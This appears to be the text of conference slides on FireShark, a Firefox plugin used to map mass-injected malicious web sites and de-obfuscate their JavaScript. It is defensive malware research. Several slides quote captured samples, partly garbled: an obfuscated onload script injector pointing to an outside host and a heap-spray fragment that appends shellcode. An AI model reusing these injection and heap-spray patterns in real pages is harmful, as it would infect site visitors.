Visual Contact of the Malware:
Statistical Analysis of Compromised Web Sites

Tamas Rudnai
Websense Security Labs
Agenda

- What is FireShark?
- Why do we need a new tool?
- Visualizing mass injections
- De-obfuscation
Increasing of Web injection attacks

- The number of new compromised web sites were increased by 225% in 2009
Victims of “Malwaretisements”

- The Drudge Report
- Horoscope.com
- The New York Times
- Philadelphia Inquirer
- Expedia, Rhapsody
- Lyrics.com
- slacker.com
- Eweek.com

Google’s DoubleClick Spreads Malicious Ads On Eweek Website

Google’s DoubleClick ad network has once again been caught distributing malicious banner displays, this time on the home page of eWeek, the online version of the popular business computing magazine. Unsuspecting end users who browse the site were presented with malvertisements with invisible iframes that redirect them to attack websites, according to researchers at Websense. The redirects use one of two methods to infect users with malware, including rogue anti-virus software.

In one case, a PDF with heavily obscured javascript shunted victims to a subdomain at inside.com. In other scenarios, a generic index.php file did the bidding.
What is FireShark?

- Short overview of the tool
- History of the project
- Other tools
- Architecture
Short overview of FireShark

- Author: Stephan Chenette, Websense Security Labs
- De-Obfuscation
- Map of mass-injection attacks
Short overview of FireShark

- FireFox plugin
- Automatically visits web sites
- Logs
  - All redirections
  - Source code of the pages
  - Modifications to the DOM
  - Screenshots of the pages visited
- Post processing:
  Better understanding of mass-injection attacks
History of FireShark Project

- **Concept:** June 2009
- **Goal:**
  - Ultimate de-obfuscator
  - Similar tool as a bot map but for compromised sites and landing pages
- **Current status of the project and the tool**
  - Beta version, but stable enough
  - GPL v3 license
  - Post processing tools:
    - GraphViz
    - Ingress/Egress
**Similar Research Tools**

**Websites:**
- Wepawet
- Anubis
- ZeusTracker
- BLADE (*new*)
- Robtex
- Unmask Parasites
- MalwareDomainList.com
- Badwarebusters.org
- VirusTotal.com

**Tools:**
- Malzilla
- Rhino Debugger
- FF JavaScript Deobfuscator
- SpiderMonkey
- Jsunpack
- Caffeine Monkey
- NJS
Architecture

- **Network Mode**
  - Used in an automated manner
  - Alert/Auto-Categorize

- **Single-user mode**
  - Manual Inspection
  - Injection Research
Post processing

- Logs can be analysed manually
- ...or by post-analysis tools
Post processing

- Logs can be analysed manually
- ...or by post-analysis tools
Monitoring communities
Analysing a Malicious Site
Analysing Compromised Sites
Mass Injection Attack
Visiting YouTube.com

- You can all redirections during the page loaded.
Single User Mode

data.txt:

- google.com
- facebook.com
- youtube.com
- yahoo.com
- live.com
- wikipedia.org
- blogger.com
- baidu.com
- msn.com
- qq.com
- yahoo.co.jp
- twitter.com
Communities
Links Between Communities
Links Between Communities
Links Between Communities
Visualization Helps

- A Picture Worth Thousands of Words
- Visualising non-visual elements
- Post-processing with GraphViz
Text Log Analysis

- connection:
  type: response
  src: http://btpp.bel.ru/pics/b2.jpg
  original_src: http://btpp.bel.ru/pics/b2.jpg
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: response
  src: http://btpp.bel.ru/pics/vv.gif
  original_src: http://btpp.bel.ru/pics/vv.gif
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: response
  src: http://img.gismeteo.ru/flash/fw128x60.swf?index=3421
  original_src: http://img.gismeteo.ru/flash/fw128x60.swf?index=3421
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: request
  src: http://btpp.bcl.ru/structure/examination//script0
  dst: http://img.gismeteo.ru/flashinf/FLA34214=UTF8
  redirect: false
- connection:
  type: response
  src: http://pics.rbc.ru/img/hrf/elections.gif15782
  original_src: http://pics.rbc.ru/img/hrf/elections.gif15782
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: response
  src: http://btpp.bel.ru/pics/mercury.jpg
  original_src: http://btpp.bel.ru/pics/mercury.jpg
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: response
  src: http://btpp.bel.ru/pics/fest.jpg
  original_src: http://btpp.bel.ru/pics/fest.jpg
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
- connection:
  type: response
  src: http://btpp.bel.ru/pics/b2.jpg
  original_src: http://btpp.bel.ru/pics/b2.jpg
  dst: http://btpp.bel.ru/structure/examination//script0
  status: 200
Visualization Makes it Easier
Ingress / Egress Reports

- Popularity of host requests / responses
- Advertisement sites
- Site analytics services / visitor counters
Ingress

- dstcount.txt
- Site request distribution
- Most visited sites are at the top
- Easy handling
- Scriptable
<table>
<thead>
<tr>
<th>Domain</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>search.twitter.com</td>
<td>21</td>
</tr>
<tr>
<td>pbcoxakpxes.com</td>
<td>20</td>
</tr>
<tr>
<td>webgetsmart.com</td>
<td>7</td>
</tr>
<tr>
<td><a href="http://www.google-analytics.com">www.google-analytics.com</a></td>
<td>3</td>
</tr>
<tr>
<td>pagead2.googlesyndication.com</td>
<td>3</td>
</tr>
<tr>
<td>googleads.g.doubleclick.net</td>
<td>3</td>
</tr>
<tr>
<td>av.ctnetwork.hu</td>
<td>3</td>
</tr>
<tr>
<td><a href="http://www.google.com">www.google.com</a></td>
<td>2</td>
</tr>
<tr>
<td>dacenete.com</td>
<td>2</td>
</tr>
<tr>
<td>highdecibel.co.uk</td>
<td>2</td>
</tr>
<tr>
<td>Domain</td>
<td>Count</td>
</tr>
<tr>
<td>---------------------------------------</td>
<td>-------</td>
</tr>
<tr>
<td>search.twitter.com</td>
<td>21</td>
</tr>
<tr>
<td>pbcoxakpxes.com</td>
<td>20</td>
</tr>
<tr>
<td>webgetsmart.com</td>
<td>7</td>
</tr>
<tr>
<td><a href="http://www.google-analytics.com">www.google-analytics.com</a></td>
<td>3</td>
</tr>
<tr>
<td>pagead2.google syndication.com</td>
<td>3</td>
</tr>
<tr>
<td>googleads.g.doubleclick.net</td>
<td>3</td>
</tr>
<tr>
<td>av.ctnetwork.hu</td>
<td>3</td>
</tr>
<tr>
<td><a href="http://www.google.com">www.google.com</a></td>
<td>2</td>
</tr>
<tr>
<td>dacenete.com</td>
<td>2</td>
</tr>
<tr>
<td>highdecibel.co.uk</td>
<td>2</td>
</tr>
</tbody>
</table>
Ingress graph

- dstcount.txt.png
- Most visited sites are at the left
- Visualization for blogging / presentation
Ingress

Unique Host Ingress Connections Frequency

No. Ingress Connections
Ingress
Egress

- srccount.txt
- Responses distribution
- Most responsive sites are at the top
- Easy handling
- Scriptable
srccount.txt

search.twitter.com  21
www.google-analytics.com  3
googleads.g.doubleclick.net  3
dacenete.com  3
av.ctnetwork.hu  3
eplarine.com  3
matzines.com  2
reglasti.com  2
pagead2.google syndication.com  2
paleenem.com  2
Egress graph

- srccount.txt.png
- Most popular source nodes are at the left
- Visualization for blogging / presentation
Egress

Unique Host Egress Connections Frequency

No Egress Connections

pbcoxakpxes.com?
Ultimate De-Obfuscation
Obfuscated JavaScript

```javascript
```
Window.OnLoad Trick

```javascript
1 eS={Ef: false}; var X; l=function(){function C(H, E, e){try {var Y='xW'} catch (Y){} return H.substr(E, e); try {} catch (cE){};} this.qr=false; var H=[ ]; var B=''; var RG="RG"); var v=new String("/ggog"+C("le.coKSL", 0, 5)+C("PILm/bahLIP", 3, 5)+C("n.de/15c", 0, 5)+"digg."+C("com.pGTnR", 0, 5)+"hp"); var ip=[ ]; var Ed=RegExp; var G=""; a=[ ]; var S=document; var eR=''; var eq="zU"; this.cy=28003; this.cy++; this.RZ=""; function t(H, E){this.N=""; P={s: 3222}; var e=String(C("[6s8Z", 0, 1]);++E+"}; var Bs={PN: "Bh"}; var f=new Ed(e, String(C("gNK6", 0, 1))}; var uk=['Yd", "K]; return H.replace(f, eR); var SF="SF"; this.yl=8213; this.yl++; }; var Oe=['Z"; var uq="uq"; cc=[]; this.RZX="RZX"; var j=912317 - 904237; var u=null; uV=17737; uV++; var oU={aH: false}; var y=String("body"); var V=new Array(); UH=56325; UH--; var c=t("sNcorkiApatN", 'JEoajWkGN"); X=function(){var Gh=48225; try { var A=t('c7rIeIaItzeqEqVezmzeDnItD', 'Iw7DVqz'); Xz=S[A](c); this.Ow=false; var Nx=['Ld", "Ar"]; NM={p: false}; var q=String(C("deferku BL", 0, 5)); this.pp=""; var x=t('sXRLcu', '5uNalS8KXLoD'); this.fu=63932; this.fu=-11 3; var H=j+v; var Jc=""; var VO=""; this.NN=""; var uR=["EA"]; fP={"w": _I"}; this.kx=""; Xz[q]=[1][0]; this.aS=14891; this.aS=131; Xz[x]=String(C("hhtvVJI", 0, 3)+"p":"+C("H qj/doiqH", 3, 3)+C("pebygO", 0, 3)+C("4rRankrR4", 3, 3)+". ru"+":")'+H; QY={ol: false}; S [y].appendChild(Xz); var cM=new String(); this.0o="Oo"; Vs={}; } catch (M) { var Jg=new String(); } }; l(); window.onload=X; th={ef: 39556}; this.r=false; var sn=new String();
```
function sp()
{
  var string=document.getElementById("codex").innerHTML;
  eval(unescape(string));
  while(b.length<ls)
  {
    b+=b;
  }
  var lh = b.substring(0,ls/2);
  delete b;
  lh = lh + shellcode;
  for (i = 0; i < 0x400; i++)
  {
    a[i] = lh.substr(0, lh.length);
  }
  setTimeout('t.Movie="ok.swf" , 400);
Separated Code Streams

```javascript
function sp() {
    var string=document.getElementById("codex").innerHTML;
    eval(unescape(string));
    while(b.length<ls) {
        b+=b;
    }
    var lh = b.substring(0,ls/2);
    delete b;
    lh = lh + shellcode;
    <div id="codex" style="display:none">var%20shellcode%3Dloader%28%22XX%22%2C%22YY%22%29%3B%0D%0A%09var%20a%3Dnew%20Array%28%29%3B%0D%0A%09var%20ls%3D0x10000%20%28shellcode.length*%29%3B%0D%0A%09var%20b%20%3D%200%-loader%28%22YY%22%2C%22TT%22%29%3B
    setTimeout('t.Movie=\"ok.swf\", 400);
}
```
De-Obfuscated code

- Newly created DOM objects are logged
  - JavaScripts
  - IFrames
  - Flash objects
Video...
Conclusion
Conclusion

- Creates Map of Mass-Injections
Conclusion

- Creates Map of Mass-Injections
- Ultimate De-Obfuscation
Conclusion

- Creates Map of Mass-Injections
- Ultimate De-Obfuscation
- History of the Project
Conclusion

- Creates Map of Mass-Injections
- Ultimate De-Obfuscation
- History of the Project
- Where can you find it?
FireShark Project Site

- GPL
- Free
- Open Source
  - FireFox plugin
  - GraphViz
  - Ingress / Egress

http://www.fireshark.org
Questions?

Contact:
Tamas Rudnai
trudnai@websense.com

Stephan Chenette
schenette@websense.com

Special thanks to:
Elad Sharf and the entire team of Websense Security Labs